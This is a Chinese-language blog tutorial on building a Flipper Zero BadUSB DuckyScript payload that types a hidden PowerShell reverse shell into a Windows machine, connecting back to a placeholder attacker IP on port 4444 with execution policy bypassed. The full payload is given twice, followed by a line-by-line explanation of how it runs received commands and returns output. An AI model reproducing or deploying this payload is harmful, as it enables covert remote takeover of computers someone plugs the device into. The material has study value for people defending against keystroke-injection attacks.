Flipper Zero BadUSB反弹shell

Flipper Zero BadUSB反弹shell

前置知识点:

Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。

步骤

创建rev_shell_win.txt文件,并将其拖到badusb文件夹中.

相关代码:

bash 复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell

REM Wait for the system to settle (adjust delay if necessary)
DELAY 1000

REM Open Windows Run dialog (GUI + R)
GUI r
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 750

REM Start reverse shell using PowerShell (replace with your own IP 192.168.x.x and port 4444)
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
DELAY 500

REM Additional delays to give time for the shell to establish the connection
DELAY 1000

REM Finish script
STRING Reverse shell should be active now.
ENTER

代码相关解释

bash 复制代码
1. REM 命令解释
REM 表示 "remark" 或注释,是脚本中的注释标记。注释内容不会被执行,通常用于对代码的解释或说明。以下是脚本中的注释部分:

batch
复制代码
REM This is a BadKB demo script for Windows to execute reverse shell using PowerShell
这行注释表明这是一个用于演示如何通过 PowerShell 创建反向 shell 的 BadKB 脚本。

batch
复制代码
REM Wait for the system to settle (adjust delay if necessary)
该行注释说明脚本会等待系统稳定下来,尤其是在目标计算机插入 USB 设备后,系统可能需要时间识别设备。

2. DELAY 命令
DELAY 是一个控制脚本执行延时的命令。它使得脚本等待指定的时间,以确保目标系统有足够的时间执行每一步操作。单位为毫秒。

batch
复制代码
DELAY 1000
该命令会让脚本延迟 1000 毫秒(即 1 秒)。这个延迟是为了确保系统和输入环境能够稳定。

3. 打开 Windows Run 对话框
batch
复制代码
GUI r
DELAY 500
GUI r 是模拟按下 Windows 键 + R,这是打开 Run 对话框的快捷键。接着通过 DELAY 500 给系统半秒钟的时间来响应。

batch
复制代码
STRING cmd
DELAY 500
ENTER
接下来,STRING cmd 会在 Run 对话框中输入 cmd,即启动 命令提示符。然后,ENTER 命令会模拟按下 回车键,从而打开 cmd。

4. 执行 PowerShell 脚本以启动反向连接
batch
复制代码
STRING powershell -ExecutionPolicy Bypass -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i);Write-Host 'Received command: ' $data; $sendback = (iex $data 2>&1 | Out-String);Write-Host 'Command output: ' $sendback; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
ENTER
这行脚本启动了一个 PowerShell 脚本,用于创建反向连接。

命令解析:

powershell -ExecutionPolicy Bypass -nop -w hidden -c:

-ExecutionPolicy Bypass:绕过 PowerShell 的执行策略,允许执行未签名的脚本。
-nop:表示不加载配置文件(NoProfile),从而加快执行速度。
-w hidden:使 PowerShell 窗口在后台隐藏,不显示在用户桌面上。
-c:执行后续的 PowerShell 代码。
$client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444):

创建一个 TCP 客户端对象,并连接到攻击者指定的 IP 地址(192.168.x.x)和端口(4444)。
$stream = $client.GetStream():

获取与远程目标的网络流,这个流用于发送和接收数据。
[byte[]]$bytes = 0..65535|%{0}:

初始化一个字节数组 $bytes,用于接收从网络流中传输的数据。
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0):

循环从网络流中读取数据,直到没有数据可读取为止。
$data = (New-Object Text.Encoding.ASCII).GetString($bytes,0,$i):

将从网络流读取到的字节数据转换成 ASCII 字符串,保存在 $data 变量中。
Write-Host 'Received command: ' $data:

输出调试信息,打印收到的命令。
$sendback = (iex $data 2>&1 | Out-String):

执行接收到的命令,并将任何错误信息和标准输出一起捕获。iex 是 Invoke-Expression,它执行字符串形式的 PowerShell 命令。
Write-Host 'Command output: ' $sendback:

输出执行命令的结果。
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ':

在命令输出后添加 PowerShell 提示符,以便攻击者看到一个类似于本地 PowerShell 环境的提示符。
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2):

将命令的输出(包括提示符)转换为字节数据,以便发送回攻击者的机器。
$stream.Write($sendbyte,0,$sendbyte.Length):

将转换后的字节数据通过网络流发送回攻击者机器。
$stream.Flush():

刷新输出流,确保数据立即被发送。
5. 延迟等待反向连接建立
batch
复制代码
DELAY 500
再次延迟 500 毫秒,确保反向 shell 已成功建立。

6. 脚本结束语
batch
复制代码
STRING Reverse shell should be active now.
ENTER
在脚本的最后,向目标计算机输入一条消息,提示攻击者反向 shell 应该已经激活并可用于远程命令执行。

启动 BadUSB 反向 Shell
查看结果

参考文章:https://hackernoon.com/lang/zh/如何使用鳍状肢零作为-badusb-在-macOS-上获得反向-shell

相关推荐
委员3 小时前
基于NodeMCU的物联网空调控制系统设计
单片机·mcu·物联网·智能家居
逝灮5 小时前
【蓝桥杯——物联网设计与开发】拓展模块3 - 温度传感器模块
驱动开发·stm32·单片机·嵌入式硬件·物联网·蓝桥杯·温度传感器
邓校长的编程课堂6 小时前
基于树莓派Pico和声音传感器实现声控风扇的技术分享
物联网·嵌入式开发·树莓派pico·编程入门·c++编程·声音传感器·c++趣味编程
有续技术8 小时前
工厂常用软件系统大全中英文全称对照表及功能介绍应用场景ERP MES WMS SCADA IOT SAP等软件系统介绍
物联网
嗯? 嗯。1 天前
遇见物联网
物联网
神一样的老师1 天前
物联网:全面概述、架构、应用、仿真工具、挑战和未来方向
物联网
深圳博达智联1 天前
V900新功能-电脑不在旁边,通过手机给PLC远程调试网关配置WIFI联网
物联网
TDengine (老段)2 天前
TDengine 新功能 通过 UID 删除不可见表
大数据·数据库·物联网·时序数据库·tdengine
美迅物联网 MesoonRF2 天前
HC04,HC05,HC06,HC08蓝牙模块可替换产品的优势
嵌入式硬件·物联网
开源网安2 天前
安徽移动携手开源网安亮相2024中国国际车联网技术大会,共筑车联网安全新壁垒
物联网·安全·汽车·车联网